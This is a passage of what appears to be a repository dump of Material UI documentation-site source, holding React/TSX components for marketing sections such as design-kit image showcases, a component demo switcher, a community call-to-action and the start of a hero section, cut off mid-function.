'&:nth-of-type(2)': {\n                            width: { xs: 240, sm: 560 },\n                            top: { xs: 100, sm: 40 },\n                            left: { xs: '60%', sm: '40%' },\n                            transform: {\n                              xs: 'scale(1.8) translate(-20%)',\n                              sm: 'scale(1) translate(0%)',\n                            },\n                          },\n                        },\n                        '&:hover': {\n                          '& img': {\n                            '&:nth-of-type(2)': {\n                              top: { xs: 100, sm: 60 },\n                              transform: {\n                                xs: 'scale(1.8) translate(-20%)',\n                                sm: 'scale(1.1) translate(-15%)',\n                              },\n                              filter: {\n                                xs: 'auto',\n                                sm: `drop-shadow(-16px 12px 20px ${alpha(\n                                  theme.palette.grey[600],\n                                  0.5,\n                                )})`,\n                              },\n                            },\n                          },\n                        },\n                        ...theme.applyDarkStyles({\n                          '&:hover': {\n                            '& img': {\n                              '&:nth-of-type(2)': {\n                                filter: {\n                                  xs: 'auto',\n                                  sm: `drop-shadow(-16px 12px 20px ${alpha(\n                                    theme.palette.common.black,\n                                    0.8,\n                                  )})`,\n                                },\n                              },\n                              filter: `drop-shadow(-16px 12px 20px ${alpha(\n                                theme.palette.common.black,\n                                0.2,\n                              )})`,\n                            },\n                          },\n                        }),\n                      })}\n                    >\n                      <Image\n                        src=\"/static/branding/design-kits/sync-base1-light.png\"\n                        alt=\"The Material UI Design Kit for Figma.\"\n                        loading=\"lazy\"\n                        sx={(theme) =>\n                          theme.applyDarkStyles({\n                            content: `url(/static/branding/design-kits/sync-base1-dark.png)`,\n                          })\n                        }\n                      />\n                      <Image\n                        src=\"/static/branding/design-kits/sync-shot1-light.png\"\n                        alt=\"The Material UI Sync plugin displaying theme code.\"\n                        loading=\"lazy\"\n                        sx={(theme) =>\n                          theme.applyDarkStyles({\n                            content: `url(/static/branding/design-kits/sync-shot1-dark.png)`,\n                          })\n                        }\n                      />\n                    </Box>\n                  </Fade>\n                )}\n                {index === 1 && (\n                  <Fade in={index === 1} timeout={500}>\n                    <Box\n                      sx={(theme) => ({\n                        width: '100%',\n                        height: '100%',\n                        '& img': {\n                          position: 'absolute',\n                          '&:nth-of-type(1)': {\n                            visibility: { xs: 'hidden', sm: 'visible' },\n                            width: { xs: 240, sm: 600 },\n                            top: 100,\n                            left: '50%',\n                            transform: 'translate(-40%)',\n                          },\n                          '&:nth-of-type(2)': {\n                            width: { xs: 240, sm: 560 },\n                            top: { xs: 100, sm: 40 },\n                            left: { xs: '60%', sm: '50%' },\n                            transform: {\n                              xs: 'scale(1.8) translate(-20%)',\n                              sm: 'none',\n                            },\n                          },\n                        },\n                        '&:hover': {\n                          '& img': {\n                            '&:nth-of-type(2)': {\n                              top: { xs: 100, sm: 60 },\n                              transform: {\n                                xs: 'scale(1.8) translate(-20%)',\n                                sm: 'scale(1.1) translate(-30%)',\n                              },\n                              filter: {\n                                xs: 'auto',\n                                sm: `drop-shadow(-16px 12px 20px ${alpha(\n                                  theme.palette.grey[600],\n                                  0.5,\n                                )})`,\n                              },\n                            },\n                          },\n                        },\n                        ...theme.applyDarkStyles({\n                          '&:hover': {\n                            '& img': {\n                              '&:nth-of-type(2)': {\n                                filter: {\n                                  xs: 'auto',\n                                  sm: `drop-shadow(-16px 12px 20px ${alpha(\n                                    theme.palette.common.black,\n                                    0.8,\n                                  )})`,\n                                },\n                              },\n                              filter: `drop-shadow(-16px 12px 20px ${alpha(\n                                theme.palette.common.black,\n                                0.2,\n                              )})`,\n                            },\n                          },\n                        }),\n                      })}\n                    >\n                      <Image\n                        src=\"/static/branding/design-kits/sync-base2-light.png\"\n                        alt=\"The Material UI Design Kit for Figma.\"\n                        loading=\"lazy\"\n                        sx={(theme) =>\n                          theme.applyDarkStyles({\n                            content: `url(/static/branding/design-kits/sync-base2-dark.png)`,\n                          })\n                        }\n                      />\n                      <Image\n                        src=\"/static/branding/design-kits/material-sync-light.png\"\n                        alt=\"The Material UI Sync plugin displaying theme code.\"\n                        loading=\"lazy\"\n                        sx={(theme) =>\n                          theme.applyDarkStyles({\n                            content: `url(/static/branding/design-kits/material-sync-dark.png)`,\n                          })\n                        }\n                      />\n                    </Box>\n                  </Fade>\n                )}\n                {index === 2 && (\n                  <Fade in={index === 2} timeout={500}>\n                    <Box\n                      sx={(theme) => ({\n                        width: '100%',\n                        height: '100%',\n                        '& img': {\n                          position: 'absolute',\n                          '&:nth-of-type(1)': {\n                            visibility: { xs: 'hidden', sm: 'visible' },\n                            width: { xs: 240, sm: 600 },\n                            top: 100,\n                            left: '50%',\n                            transform: 'translate(-40%)',\n                          },\n                          '&:nth-of-type(2)': {\n                            width: { xs: 240, sm: 560 },\n                            top: { xs: 100, sm: 40 },\n                            left: { xs: '60%', sm: '40%' },\n                            transform: {\n                              xs: 'scale(1.8) translate(-20%)',\n                              sm: 'none',\n                            },\n                          },\n                        },\n                        '&:hover': {\n                          '& img': {\n                            '&:nth-of-type(2)': {\n                              top: { xs: 100, sm: 60 },\n                              transform: {\n                                xs: 'scale(1.8) translate(-20%)',\n                                sm: 'scale(1.1) translate(-25%)',\n                              },\n                              filter: {\n                                xs: 'auto',\n                                sm: `drop-shadow(-16px 12px 20px ${alpha(\n                                  theme.palette.grey[600],\n                                  0.5,\n                                )})`,\n                              },\n                            },\n                          },\n                        },\n                        ...theme.applyDarkStyles({\n                          '&:hover': {\n                            '& img': {\n                              '&:nth-of-type(2)': {\n                                filter: {\n                                  xs: 'auto',\n                                  sm: `drop-shadow(-16px 12px 20px ${alpha(\n                                    theme.palette.common.black,\n                                    0.8,\n                                  )})`,\n                                },\n                              },\n                              filter: `drop-shadow(-16px 12px 20px ${alpha(\n                                theme.palette.common.black,\n                                0.2,\n                              )})`,\n                            },\n                          },\n                        }),\n                      })}\n                    >\n                      <Image\n                        src=\"/static/branding/design-kits/sync-base2-light.png\"\n                        alt=\"The Material UI Design Kit for Figma.\"\n                        loading=\"lazy\"\n                        sx={(theme) =>\n                          theme.applyDarkStyles({\n                            content: `url(/static/branding/design-kits/sync-base2-dark.png)`,\n                          })\n                        }\n                      />\n                      <Image\n                        src=\"/static/branding/design-kits/sync-shot3-light.png\"\n                        alt=\"The Material UI Sync plugin displaying theme code.\"\n                        loading=\"lazy\"\n                        sx={(theme) =>\n                          theme.applyDarkStyles({\n                            content: `url(/static/branding/design-kits/sync-shot3-dark.png)`,\n                          })\n                        }\n                      />\n                    </Box>\n                  </Fade>\n                )}\n              </Box>\n            </Frame.Demo>\n            <Frame.Info data-mui-color-scheme=\"dark\">\n              <Typography variant=\"body2\" gutterBottom sx={{ fontWeight: 'bold' }}>\n                Get the beta version of Material UI Sync now!\n              </Typography>\n              <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 2 }}>\n                There&apos;s still a lot to do, and we&apos;re looking forward to hearing from all\n                of you.\n              </Typography>\n              <Box sx={{ display: 'flex', flexDirection: { xs: 'column', sm: 'row' }, gap: 1.5 }}>\n                <Button\n                  component={Link}\n                  variant=\"contained\"\n                  size=\"small\"\n                  noLinkStyle\n                  href=\"https://www.figma.com/community/plugin/1336346114713490235/material-ui-sync\"\n                >\n                  Use Sync now\n                </Button>\n                <Button\n                  component={Link}\n                  variant=\"outlined\"\n                  color=\"secondary\"\n                  size=\"small\"\n                  href=\"/material-ui/design-resources/material-ui-sync/\"\n                >\n                  View documentation\n                </Button>\n              </Box>\n            </Frame.Info>\n          </Frame>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productMaterial/MaterialComponents.tsx",
    "content": "import * as React from 'react';\nimport { CssVarsProvider } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Alert from '@mui/material/Alert';\nimport Button from '@mui/material/Button';\nimport Grid from '@mui/material/Grid';\nimport Stack from '@mui/material/Stack';\nimport Paper from '@mui/material/Paper';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport Tooltip from '@mui/material/Tooltip';\nimport InputRounded from '@mui/icons-material/InputRounded';\nimport SmartButtonRounded from '@mui/icons-material/SmartButtonRounded';\nimport TableViewRounded from '@mui/icons-material/TableViewRounded';\nimport WarningRounded from '@mui/icons-material/WarningRounded';\nimport ShoppingCartRounded from '@mui/icons-material/ShoppingCartRounded';\nimport InfoRounded from '@mui/icons-material/InfoRounded';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport More from 'docs/src/components/action/More';\nimport Frame from 'docs/src/components/action/Frame';\nimport { ShowcaseCodeWrapper } from 'docs/src/components/home/ShowcaseContainer';\nimport { customTheme } from 'docs/src/components/home/MaterialDesignComponents';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport MaterialVsCustomToggle from 'docs/src/components/action/MaterialVsCustomToggle';\nimport ROUTES from 'docs/src/route';\n\nconst DEMOS = ['Button', 'Text Field', 'Table', 'Alert', 'Tooltip'] as const;\n\nconst CODES = {\n  Button: `\n  <Button variant=\"text\" startIcon={<ShoppingCartRounded />}>\n  Add item\n</Button>\n<Button variant=\"contained\" startIcon={<ShoppingCartRounded />}>\n  Add item\n</Button>\n<Button variant=\"outlined\" startIcon={<ShoppingCartRounded />}>\n  Add item\n</Button>\n`,\n  'Text Field': `\n  <TextField variant=\"standard\" label=\"Username\" />\n<TextField variant=\"outlined\" label=\"Email\" type=\"email\" />\n<TextField variant=\"filled\" label=\"Password\" type=\"password\" />\n`,\n  Table: `\n<TableContainer\n  component={Paper}\n  variant=\"outlined\"\n>\n  <Table aria-label=\"demo table\">\n    <TableHead>\n      <TableRow>\n        <TableCell>Dessert</TableCell>\n        <TableCell>Calories</TableCell>\n      </TableRow>\n    </TableHead>\n    <TableBody>\n      <TableRow>\n        <TableCell>Frozen yoghurt</TableCell>\n        <TableCell>109</TableCell>\n      </TableRow>\n      <TableRow>\n        <TableCell>Cupcake</TableCell>\n        <TableCell>305</TableCell>\n      </TableRow>\n    </TableBody>\n  </Table>\n</TableContainer>\n`,\n  Alert: `\n  <Alert variant=\"standard\" color=\"info\">\n  This is an alert!\n</Alert>\n<Alert variant=\"outlined\" color=\"info\">\n  This is an alert!\n</Alert>\n<Alert variant=\"filled\" color=\"info\">\n  This is an alert!\n</Alert>\n`,\n  Tooltip: `\n  <Tooltip title=\"This is a tooltip\" arrow placement=\"top\">\n  <Typography>Top</Typography>\n</Tooltip>\n<Tooltip title=\"This is a tooltip\" arrow placement=\"right\">\n  <Typography>Right</Typography>\n</Tooltip>\n<Tooltip title=\"This is a tooltip\" arrow placement=\"left\">\n  <Typography>Left</Typography>\n</Tooltip>\n<Tooltip title=\"This is a tooltip\" arrow placement=\"bottom\">\n  <Typography>Bottom</Typography>\n</Tooltip>\n`,\n};\n\nexport default function MaterialComponents() {\n  const [demo, setDemo] = React.useState<(typeof DEMOS)[number]>(DEMOS[0]);\n  const [customized, setCustomized] = React.useState(false);\n  const icons = {\n    [DEMOS[0]]: <SmartButtonRounded fontSize=\"small\" />,\n    [DEMOS[1]]: <InputRounded fontSize=\"small\" />,\n    [DEMOS[2]]: <TableViewRounded fontSize=\"small\" />,\n    [DEMOS[3]]: <WarningRounded fontSize=\"small\" />,\n    [DEMOS[4]]: <InfoRounded fontSize=\"small\" />,\n  };\n  return (\n    <Section bg=\"gradient\">\n      <Grid container spacing={2}>\n        <Grid sx={{ minWidth: 0 }} size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Component library\"\n            title={\n              <Typography variant=\"h2\">\n                <GradientText>40+</GradientText> building block components\n              </Typography>\n            }\n            description=\"A meticulous implementation of Material Design; every Material UI component meets the highest standards of form and function.\"\n          />\n          <Group desktopColumns={2} sx={{ m: -2, p: 2 }}>\n            {DEMOS.map((name) => (\n              <Highlighter key={name} selected={name === demo} onClick={() => setDemo(name)}>\n                <Item icon={React.cloneElement(icons[name])} title={name} />\n              </Highlighter>\n            ))}\n            <More href={ROUTES.components} />\n          </Group>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <Frame sx={{ height: '100%' }}>\n            <Frame.Demo className=\"mui-default-theme\" sx={{ flexGrow: 1 }}>\n              <CssVarsProvider theme={customized ? customTheme : undefined}>\n                {demo === 'Button' && (\n                  <Box\n                    sx={{\n                      height: '100%',\n                      py: 5,\n                      gap: 2,\n                      display: 'flex',\n                      justifyContent: 'center',\n                      alignItems: 'center',\n                      flexWrap: 'wrap',\n                    }}\n                  >\n                    <Button variant=\"text\" startIcon={<ShoppingCartRounded />}>\n                      Add item\n                    </Button>\n                    <Button variant=\"contained\" startIcon={<ShoppingCartRounded />}>\n                      Add item\n                    </Button>\n                    <Button variant=\"outlined\" startIcon={<ShoppingCartRounded />}>\n                      Add item\n                    </Button>\n                  </Box>\n                )}\n                {demo === 'Text Field' && (\n                  <Stack\n                    spacing={2}\n                    sx={{ justifyContent: 'center', p: 2, width: '50%', margin: 'auto' }}\n                  >\n                    <TextField variant=\"standard\" label=\"Username\" />\n                    <TextField variant=\"outlined\" label=\"Email\" type=\"email\" />\n                    <TextField\n                      variant=\"filled\"\n                      label=\"Password\"\n                      type=\"password\"\n                      autoComplete=\"new-password\" // prevent chrome auto-fill\n                    />\n                  </Stack>\n                )}\n                {demo === 'Table' && (\n                  <TableContainer\n                    component={Paper}\n                    variant=\"outlined\"\n                    sx={{\n                      mx: 'auto',\n                      my: 4,\n                      maxWidth: '90%',\n                      '& .MuiTableBody-root > .MuiTableRow-root:last-of-type > .MuiTableCell-root':\n                        {\n                          borderBottomWidth: 0,\n                        },\n                    }}\n                  >\n                    <Table aria-label=\"demo table\">\n                      <TableHead>\n                        <TableRow>\n                          <TableCell>Dessert</TableCell>\n                          <TableCell>Calories</TableCell>\n                        </TableRow>\n                      </TableHead>\n                      <TableBody>\n                        <TableRow>\n                          <TableCell>Frozen yoghurt</TableCell>\n                          <TableCell>109</TableCell>\n                        </TableRow>\n                        <TableRow>\n                          <TableCell>Cupcake</TableCell>\n                          <TableCell>305</TableCell>\n                        </TableRow>\n                      </TableBody>\n                    </Table>\n                  </TableContainer>\n                )}\n                {demo === 'Alert' && (\n                  <Box\n                    sx={{\n                      height: '100%',\n                      py: 2,\n                      display: 'flex',\n                      justifyContent: 'center',\n                      alignItems: 'center',\n                      flexWrap: 'wrap',\n                      gap: 2,\n                    }}\n                  >\n                    <Alert variant=\"standard\" color=\"info\">\n                      This is an alert!\n                    </Alert>\n                    <Alert variant=\"outlined\" color=\"info\">\n                      This is an alert!\n                    </Alert>\n                    <Alert variant=\"filled\" color=\"info\">\n                      This is an alert!\n                    </Alert>\n                  </Box>\n                )}\n                {demo === 'Tooltip' && (\n                  <Stack\n                    spacing={1}\n                    sx={{ alignItems: 'center', justifyContent: 'center', minHeight: 100, py: 2 }}\n                  >\n                    <Tooltip\n                      title=\"Appears on hover\"\n                      arrow\n                      placement=\"top\"\n                      slotProps={{ popper: { disablePortal: true } }}\n                    >\n                      <Typography sx={{ color: 'text.secondary' }}>Top</Typography>\n                    </Tooltip>\n                    <Box sx={{ '& > *': { display: 'inline-block' } }}>\n                      <Tooltip\n                        title=\"Always display\"\n                        arrow\n                        placement=\"left\"\n                        open\n                        slotProps={{ popper: { disablePortal: true } }}\n                      >\n                        <Typography sx={{ color: 'text.secondary' }}>Left</Typography>\n                      </Tooltip>\n                      <Box sx={{ display: 'inline-block', width: 80 }} />\n                      <Tooltip\n                        title=\"Appears on hover\"\n                        arrow\n                        placement=\"right\"\n                        slotProps={{ popper: { disablePortal: true } }}\n                      >\n                        <Typography sx={{ color: 'text.secondary' }}>Right</Typography>\n                      </Tooltip>\n                    </Box>\n                    <Tooltip\n                      title=\"Appears on hover\"\n                      arrow\n                      placement=\"bottom\"\n                      slotProps={{ popper: { disablePortal: true } }}\n                    >\n                      <Typography sx={{ color: 'text.secondary' }}>Bottom</Typography>\n                    </Tooltip>\n                  </Stack>\n                )}\n              </CssVarsProvider>\n            </Frame.Demo>\n            <Frame.Info data-mui-color-scheme=\"dark\" sx={{ p: 0 }}>\n              <MaterialVsCustomToggle customized={customized} setCustomized={setCustomized} />\n              <ShowcaseCodeWrapper maxHeight={demo === 'Table' ? 220 : 350} hasDesignToggle>\n                <HighlightedCode copyButtonHidden plainStyle code={CODES[demo]} language=\"jsx\" />\n              </ShowcaseCodeWrapper>\n            </Frame.Info>\n          </Frame>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productMaterial/MaterialDesignKits.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Grid from '@mui/material/Grid';\nimport Fade from '@mui/material/Fade';\nimport Typography from '@mui/material/Typography';\nimport ExtensionRoundedIcon from '@mui/icons-material/ExtensionRounded';\nimport DrawRoundedIcon from '@mui/icons-material/DrawRounded';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport Item, { Group } from 'docs/src/components/action/Item';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport Frame from 'docs/src/components/action/Frame';\nimport {\n  MaterialDesignKitInfo,\n  MaterialFigmaComponents,\n} from 'docs/src/components/productDesignKit/DesignKitDemo';\nimport { Link } from '@mui/docs/Link';\n\nconst Image = styled('img')(({ theme }) => ({\n  transition: '0.4s',\n  display: 'block',\n  height: 'auto',\n  borderRadius: 6,\n  border: '1px solid',\n  borderColor: theme.palette.divider,\n  filter: `drop-shadow(-2px 4px 6px ${alpha(theme.palette.grey[500], 0.5)})`,\n  ...theme.applyDarkStyles({\n    filter: `drop-shadow(-2px 4px 6px ${alpha(theme.palette.common.black, 0.2)})`,\n    borderColor: theme.palette.primaryDark[600],\n  }),\n}));\n\ninterface MaterialDesignKitsProps {\n  gradient?: boolean;\n}\n\nexport default function MaterialDesignKits({ gradient }: MaterialDesignKitsProps) {\n  const [customized, setCustomized] = React.useState(true);\n\n  return (\n    <Section cozy bg={gradient ? 'gradient' : 'white'}>\n      <Grid container spacing={2} sx={{ alignItems: 'center' }}>\n        <Grid sx={{ minWidth: 0 }} size={{ md: 6 }}>\n          <SectionHeadline\n            overline=\"Design resources\"\n            title={\n              <Typography variant=\"h2\">\n                Enhance your <GradientText>design workflow</GradientText>\n              </Typography>\n            }\n            description=\"Reach out for the Figma Design Kit and the Sync plugin to bridge the gap between development and design when using Material UI.\"\n          />\n          <Group sx={{ m: -2, p: 2 }}>\n            <Highlighter disableBorder selected={customized} onClick={() => setCustomized(true)}>\n              <Item\n                icon={<DrawRoundedIcon color=\"primary\" />}\n                title=\"Design Kit\"\n                description=\"Get many Material UI components with states, variations, colors, typography, and icons on your preferred design tool.\"\n              />\n            </Highlighter>\n            <Highlighter disableBorder selected={!customized} onClick={() => setCustomized(false)}>\n              <Item\n                icon={<ExtensionRoundedIcon color=\"primary\" />}\n                title=\"Sync plugin\"\n                description=\"Quickly generate a Material UI theme file with token and component customizations done on Figma.\"\n              />\n            </Highlighter>\n          </Group>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <Frame>\n            <Frame.Demo sx={{ overflow: 'clip', height: { xs: 240, sm: 420 } }}>\n              <MaterialFigmaComponents fadeIn={customized} />\n              <Fade in={!customized} timeout={500}>\n                <Box\n                  sx={(theme) => ({\n                    display: !customized ? 'auto' : 'none',\n                    width: '100%',\n                    height: '100%',\n                    '& img': {\n                      position: 'absolute',\n                      '&:nth-of-type(1)': {\n                        visibility: { xs: 'hidden', sm: 'visible' },\n                        width: { xs: 240, sm: 600 },\n                        top: 100,\n                        left: '50%',\n                        transform: 'translate(-40%)',\n                      },\n                      '&:nth-of-type(2)': {\n                        width: { xs: 240, sm: 560 },\n                        top: { xs: 100, sm: 40 },\n                        left: { xs: '60%', sm: '60%' },\n                        transform: {\n                          xs: 'scale(1.8) translate(-20%)',\n                          sm: 'none',\n                        },\n                      },\n                    },\n                    '&:hover': {\n                      '& img': {\n                        '&:nth-of-type(2)': {\n                          top: { xs: 100, sm: 60 },\n                          transform: {\n                            xs: 'scale(1.8) translate(-20%)',\n                            sm: 'scale(1.1) translate(-30%)',\n                          },\n                          filter: {\n                            xs: 'auto',\n                            sm: `drop-shadow(-16px 12px 20px ${alpha(\n                              theme.palette.grey[600],\n                              0.5,\n                            )})`,\n                          },\n                        },\n                      },\n                    },\n                    ...theme.applyDarkStyles({\n                      '&:hover': {\n                        '& img': {\n                          '&:nth-of-type(2)': {\n                            filter: {\n                              xs: 'auto',\n                              sm: `drop-shadow(-16px 12px 20px ${alpha(\n                                theme.palette.common.black,\n                                0.8,\n                              )})`,\n                            },\n                          },\n                          filter: `drop-shadow(-16px 12px 20px ${alpha(\n                            theme.palette.common.black,\n                            0.2,\n                          )})`,\n                        },\n                      },\n                    }),\n                  })}\n                >\n                  <Image\n                    src=\"/static/branding/design-kits/sync-base2-light.png\"\n                    alt=\"A bunch of customized Material UI buttons in the Figma Design Kit.\"\n                    loading=\"lazy\"\n                    sx={(theme) =>\n                      theme.applyDarkStyles({\n                        content: `url(/static/branding/design-kits/sync-base2-dark.png)`,\n                      })\n                    }\n                  />\n                  <Image\n                    src=\"/static/branding/design-kits/material-sync-light.png\"\n                    alt=\"The Material UI Sync plugin running and showing code for customized buttons.\"\n                    loading=\"lazy\"\n                    sx={(theme) =>\n                      theme.applyDarkStyles({\n                        content: `url(/static/branding/design-kits/material-sync-dark.png)`,\n                      })\n                    }\n                  />\n                </Box>\n              </Fade>\n            </Frame.Demo>\n            {customized ? (\n              <MaterialDesignKitInfo />\n            ) : (\n              <Frame.Info data-mui-color-scheme=\"dark\">\n                <Typography variant=\"body2\" gutterBottom sx={{ fontWeight: 'bold' }}>\n                  Get the beta version of Material UI Sync now!\n                </Typography>\n                <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 2 }}>\n                  There&apos;s still a lot to do, and we&apos;re looking forward to hearing from all\n                  of you.\n                </Typography>\n                <Box sx={{ display: 'flex', flexDirection: { xs: 'column', sm: 'row' }, gap: 1.5 }}>\n                  <Button\n                    component={Link}\n                    variant=\"contained\"\n                    size=\"small\"\n                    noLinkStyle\n                    href=\"https://www.figma.com/community/plugin/1336346114713490235/material-ui-sync\"\n                  >\n                    Use Sync now\n                  </Button>\n                  <Button\n                    component={Link}\n                    variant=\"outlined\"\n                    color=\"secondary\"\n                    size=\"small\"\n                    href=\"/material-ui/design-resources/material-ui-sync/\"\n                  >\n                    View documentation\n                  </Button>\n                </Box>\n              </Frame.Info>\n            )}\n          </Frame>\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productMaterial/MaterialEnd.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport Typography from '@mui/material/Typography';\nimport StyleRoundedIcon from '@mui/icons-material/StyleRounded';\nimport { GlowingIconContainer } from '@mui/docs/InfoCard';\nimport GetStartedButtons from 'docs/src/components/home/GetStartedButtons';\nimport Section from 'docs/src/layouts/Section';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport { Link } from '@mui/docs/Link';\nimport ROUTES from 'docs/src/route';\n\ninterface MaterialEndProps {\n  noFaq?: boolean;\n}\n\nexport default function MaterialEnd({ noFaq }: MaterialEndProps) {\n  return (\n    <Section\n      cozy\n      data-mui-color-scheme=\"dark\"\n      sx={{\n        color: 'text.secondary',\n        background: (theme) =>\n          `linear-gradient(180deg, ${(theme.vars || theme).palette.primaryDark[900]} 50%, \n          ${alpha(theme.palette.primary[800], 0.2)} 100%), ${\n            (theme.vars || theme).palette.primaryDark[900]\n          }`,\n      }}\n    >\n      {noFaq ? (\n        <Box sx={{ display: 'flex', flexDirection: 'column', alignItems: 'center' }}>\n          <SectionHeadline\n            alwaysCenter\n            overline=\"Community\"\n            title={\n              <Typography variant=\"h2\">\n                Join our <GradientText>global community</GradientText>\n              </Typography>\n            }\n            description={\n              <React.Fragment>\n                Material UI wouldn&apos;t be possible without our global community of contributors.\n                Join us today to get help when you need it, and lend a hand when you can.\n              </React.Fragment>\n            }\n          />\n          <GetStartedButtons\n            primaryUrl={ROUTES.materialDocs}\n            secondaryLabel=\"View templates\"\n            secondaryUrl={ROUTES.freeTemplates}\n            altInstallation=\"npm install @mui/material @emotion/react @emotion/styled\"\n          />\n        </Box>\n      ) : (\n        <Grid container spacing={{ xs: 6, sm: 10 }} sx={{ alignItems: 'center' }}>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <SectionHeadline\n              overline=\"Community\"\n              title={\n                <Typography variant=\"h2\">\n                  Join our <GradientText>global community</GradientText>\n                </Typography>\n              }\n              description={\n                <React.Fragment>\n                  Material UI wouldn&apos;t be possible without our global community of\n                  contributors. Join us today to get help when you need it, and lend a hand when you\n                  can.\n                </React.Fragment>\n              }\n            />\n            <GetStartedButtons\n              primaryUrl={ROUTES.materialDocs}\n              secondaryLabel=\"View templates\"\n              secondaryUrl={ROUTES.freeTemplates}\n              altInstallation=\"npm install @mui/material @emotion/react @emotion/styled\"\n            />\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }}>\n            <List sx={{ '& > li': { alignItems: 'flex-start' } }}>\n              <ListItem sx={{ p: 0, gap: 2.5 }}>\n                <GlowingIconContainer icon={<StyleRoundedIcon color=\"primary\" />} />\n                <div>\n                  <Typography gutterBottom sx={{ color: 'text.primary', fontWeight: 'semiBold' }}>\n                    Does it support Material Design 3?\n                  </Typography>\n                  <Typography>\n                    Material UI currently adopts Material Design 2. You can follow{' '}\n                    <Link href=\"https://github.com/mui/material-ui/issues/29345\">\n                      this GitHub issue\n                    </Link>{' '}\n                    for future design-related updates.\n                  </Typography>\n                </div>\n              </ListItem>\n            </List>\n          </Grid>\n        </Grid>\n      )}\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/productMaterial/MaterialHero.tsx",
    "content": "import * as React from 'react';\nimport { extendTheme, CssVarsProvider } from '@mui/material/styles';\nimport Alert from '@mui/material/Alert';\nimport Avatar from '@mui/material/Avatar';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Checkbox from '@mui/material/Checkbox';\nimport Card from '@mui/material/Card';\nimport CardHeader from '@mui/material/CardHeader';\nimport CardMedia from '@mui/material/CardMedia';\nimport CardContent from '@mui/material/CardContent';\nimport CardActions from '@mui/material/CardActions';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItemText from '@mui/material/ListItemText';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport TextField from '@mui/material/TextField';\nimport Slider from '@mui/material/Slider';\nimport Stack from '@mui/material/Stack';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport CheckCircleRounded from '@mui/icons-material/CheckCircleRounded';\nimport CakeRounded from '@mui/icons-material/CakeRounded';\nimport CelebrationRounded from '@mui/icons-material/CelebrationRounded';\nimport AttractionsRounded from '@mui/icons-material/AttractionsRounded';\nimport NotificationsIcon from '@mui/icons-material/Notifications';\nimport DownloadIcon from '@mui/icons-material/Download';\nimport LocalFireDepartment from '@mui/icons-material/LocalFireDepartment';\nimport AcUnitRounded from '@mui/icons-material/AcUnitRounded';\nimport FavoriteBorderRounded from '@mui/icons-material/FavoriteBorderRounded';\nimport ShareRounded from '@mui/icons-material/ShareRounded';\nimport RateReviewOutlined from '@mui/icons-material/RateReviewOutlined';\nimport Accordion from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport ExpandMoreRoundedIcon from '@mui/icons-material/ExpandMore';\nimport Rating from '@mui/material/Rating';\nimport Switch from '@mui/material/Switch';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\nimport Badge from '@mui/material/Badge';\nimport AddIcon from '@mui/icons-material/Add';\nimport RemoveIcon from '@mui/icons-material/Remove';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport IconImage from '@mui/docs/IconImage';\nimport HeroContainer from 'docs/src/layouts/HeroContainer';\nimport GetStartedButtons from 'docs/src/components/home/GetStartedButtons';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport { getDesignTokens } from '@mui/docs/branding';\nimport { Link } from '@mui/docs/Link';\nimport ROUTES from 'docs/src/route';\n\nfunction Checkboxes() {\n  const label = { slotProps: { input: { 'aria-label': 'Checkbox demo' } } };\n  return (\n    <React.Fragment>\n      <Checkbox {...label} defaultChecked />\n      <Checkbox {...label} />\n    </React.Fragment>\n  );\n}\n\nfunction ToggleButtons() {\n  const [alignment, setAlignment] = 